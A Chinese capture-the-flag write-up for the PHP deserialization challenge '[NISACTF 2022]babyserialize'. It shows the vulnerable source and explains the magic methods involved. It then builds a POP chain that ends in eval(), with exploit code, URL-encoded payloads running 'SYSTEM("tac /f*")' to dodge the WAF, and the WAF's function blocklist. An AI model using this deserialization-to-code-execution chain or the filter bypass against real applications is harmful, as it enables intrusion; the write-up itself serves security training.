目录

[NISACTF 2022]babyserialize

目录

[NISACTF 2022]babyserialize

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
<?php
// 导入 WAF 代码
include "waf.php";

// 定义 NISA 类
class NISA{
    // 定义类的公共属性
    public $fun="show_me_flag";
    public $txw4ever;

    // 定义反序列化时触发的方法
    public function __wakeup()
    {
        // 判断反序列化后的 $fun 属性是否为 "show_me_flag"
        if($this->fun=="show_me_flag"){
            // 调用 hint 函数
            hint();
        }
    }

    // 定义当调用该类实例一个不可访问方法时触发的方法
    function __call($from,$val){
        // 将传入的参数赋值给 $fun 属性
        $this->fun=$val[0];
    }

    // 定义当该类实例被当作字符串时触发的方法
    public function __toString()
    {
        // 输出 $fun 属性值,并返回一个空格
        echo $this->fun;
        return " ";
    }

    // 定义当该类实例被当作函数调用时触发的方法
    public function __invoke()
    {
        // 调用 checkcheck 函数,传入 $txw4ever 属性值
        checkcheck($this->txw4ever);
        // 使用 @ 符号抑制错误,执行 $txw4ever 属性值作为 PHP 代码
        @eval($this->txw4ever);
    }
}

// 定义 TianXiWei 类
class TianXiWei{
    // 定义类的公共属性
    public $ext;
    public $x;

    // 定义反序列化时的触发的方法
    public function __wakeup()
    {
        // 调用 ext 对象的 nisa 方法,传入 x 属性值
        $this->ext->nisa($this->x);
    }
}

// 定义 Ilovetxw 类
class Ilovetxw{
    // 定义类的公共属性
    public $huang;
    public $su;

    // 定义当调用该类实例一个不可访问方法时触发的方法
    public function __call($fun1,$arg){
        // 将传入的参数赋值给 huang 对象的 fun 属性
        $this->huang->fun=$arg[0];
    }

    // 定义当该类实例被当作字符串时触发的方法
    public function __toString(){
        // 将 su 属性值赋给 bb 变量,并把 bb 变量当作函数调用
        $bb = $this->su;
        return $bb();
    }
}

// 定义 four 类
class four{
    // 定义类的公共属性
    public $a="TXW4EVER";
    private $fun='abc';

    // 定义当给该类实例不可访问的属性赋值时触发的方法
    public function __set($name, $value)
    {
        // 将传入的属性名和值赋给类的属性
        $this->$name=$value;

        // 判断类的私有属性 fun 是否等于 "sixsixsix"
        if ($this->fun = "sixsixsix"){
            // 将 a 属性值转换为小写
            strtolower($this->a);
        }
    }
}

// 判断是否有传入名为 'ser' 的 GET 参数
if(isset($_GET['ser'])){
    // 使用 @ 符号抑制错误,尝试反序列化 GET 参数 'ser'
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

// 关于 waf.php 里的函数 checkcheck 和 hint 的提示:

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

先看 NISA 类的 __wakeup()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
class NISA{
    // 定义类的公共属性
    public $fun="show_me_flag";
    public $txw4ever;

    // 定义反序列化时触发的方法
    public function __wakeup()
    {
        // 判断反序列化后的 $fun 属性是否为 "show_me_flag"
        if($this->fun=="show_me_flag"){
            // 调用 hint 函数
            hint();
        }
    }
}

__wakeup()在对象实例被反序列化时触发

如果反序列化后的 $fun 为 “show_me_flag” ,则调用 hint() 函数。代码的最下面给出关于 hint() 函数的提示:

1
2
3
4
5
//function hint(){
//    echo ".......";
//    die();
//}
?>

看起来是输出一个提示,所以先去获得这个提示

编写 exp :

1
2
3
4
5
6
7
<?php
class NISA{
    public $fun="show_me_flag";
}
$obj = new NISA();
echo urlencode(serialize($obj));
?>

运行后得到 payload :O%3A4%3A%22NISA%22%3A1%3A%7Bs%3A3%3A%22fun%22%3Bs%3A12%3A%22show_me_flag%22%3B%7D

https://pic.imgdb.cn/item/65586781c458853aeff15fc6.jpg

得到提示:flag is in / (flag在根目录下)

接下来就是怎么获得 flag ,需要利用 NISA 类的 @eval($this->txw4ever); 来查看 flag 的内容

本题涉及到的 PHP Magic Methods

__wakeup:当使用 unserialize 函数从字符串中还原对象时,__wakeup 方法会被调用。用于重新初始化对象,在反序列化后执行一些必要的操作

1
2
3
4
5
class MyClass {
    public function __wakeup() {
        // 在反序列化后执行的操作
    }
}

__call:当调用一个不可访问方法时,__call方法会被调用。可以用于在运行时捕获对未定义方法的调用,并采取适当的措施

1
2
3
4
5
6
7
class MyClass {
    public function __call($method, $args) {
        // $method 是被调用的方法名
        // $args 是传递给方法的参数数组
        // 在这里可以实现相应的逻辑
    }
}

__toString:当一个对象被要求以字符串形式表示时,__toString方法会被调用。通常用于对象实例在被直接输出或转化为字符串时的时候

1
2
3
4
5
6
7
8
class MyClass {
    public function __toString() {
        echo "This is the string representation of MyClass";
    }
}

$obj = new MyClass();
$str = strtolower($obj); // 输出: This is the string representation of MyClass

__invoke:当对象实例被作为一个函数调用时,__invoke方法会被调用。允许对象的实例像函数一样被调用

1
2
3
4
5
6
7
8
class MyClass {
    public function __invoke($param) {// $param 是传递给函数的参数数组
        echo "Object invoked with parameter: $param";
    }
}

$obj = new MyClass();
$obj("Hello"); // 输出: Object invoked with parameter: Hello

__set:当给不可访问属性赋值时,__set方法会被调用。允许在属性赋值时执行一些自定义逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
  class MyClass {
      private $data = [];
  
      public function __set($name, $value) {
          // $name 是被赋值的属性名
          // $value 是要赋予属性的值
          // 在这里可以实现相应的逻辑
          $this->data[$name] = $value;
      }
  }

总思路:

  1. 要利用 NISA 类的 @eval($this->txw4ever); 来查看 flag 的内容,需要触发 NISA 类的 __invoke
  2. 要触发 NISA 类的 __invoke ,需要将 NISA 类的实例对象当作函数调用。Ilovetxw 类的 __toString 能满足这个条件
  3. 要触发 Ilovetxw 类的 __toString ,需要将 Ilovetxw 类的实例对象当作字符串。four 类的 __set 能满足这个条件
  4. 要触发 four 类的 __set ,需要给 four 类的实例对象中不可访问的属性赋值。Ilovetxw 类的 __call 能满足这个条件
  5. 要触发 Ilovetxw 类的 __call ,需要调用 Ilovetxw 类的实例对象中不可访问的方法赋值(或未定义的方法)。TianXiWei 类的 __wakeup 能满足这个条件
  6. 要触发 TianXiWei 类的 __wakeup ,需要反序列化 TianXiWei 类的实例对象

调用链:

TianXiWei->__wakeup ==> Ilovetxw->__call ==> four->__set ==> Ilovetxw->__toString ==> NISA->__invoke

编写 exp :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class NISA
{
    public $fun;
    public $txw4ever;
}
class TianXiWei
{
    public $ext;
    public $x;
}
class Ilovetxw
{
    public $huang;
    public $su;
}
class four
{
    public $a;
    private $fun;
}
$obj = new TianXiWei();
$obj->x = "sixsixsix";
$obj->ext = new Ilovetxw();
$obj->ext->huang = new four();
$obj->ext->huang->a = new Ilovetxw();
$obj->ext->huang->a->su = new NISA();
$obj->ext->huang->a->su->txw4ever = 'SYSTEM("tac /f*");';
$obj = serialize($obj);
$obj = urlencode($obj);
echo $obj;
?>

得到 payload :O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A18%3A%22SYSTEM%28%22tac+%2Ff%2A%22%29%3B%22%3B%7D%7Ds%3A9%3A%22%00four%00fun%22%3BN%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3Bs%3A9%3A%22sixsixsix%22%3B%7D

https://pic.imgdb.cn/item/655871f5c458853aef1d0be3.jpg

waf.php 过滤了 sys ,用 SYSTEM 代替 system ;用 cat 没被 waf.php 过滤,但是没效果,不清楚原因

waf.php 的源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
function checkcheck($data){
    if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/", $data, $match)) {
        die('something wrong');
    }
}

function hint(){
    echo "flag is in /";
    die();
}
?>

在不知道过滤内容的情况下也没法得到 waf.php 的源码,只能黑盒测试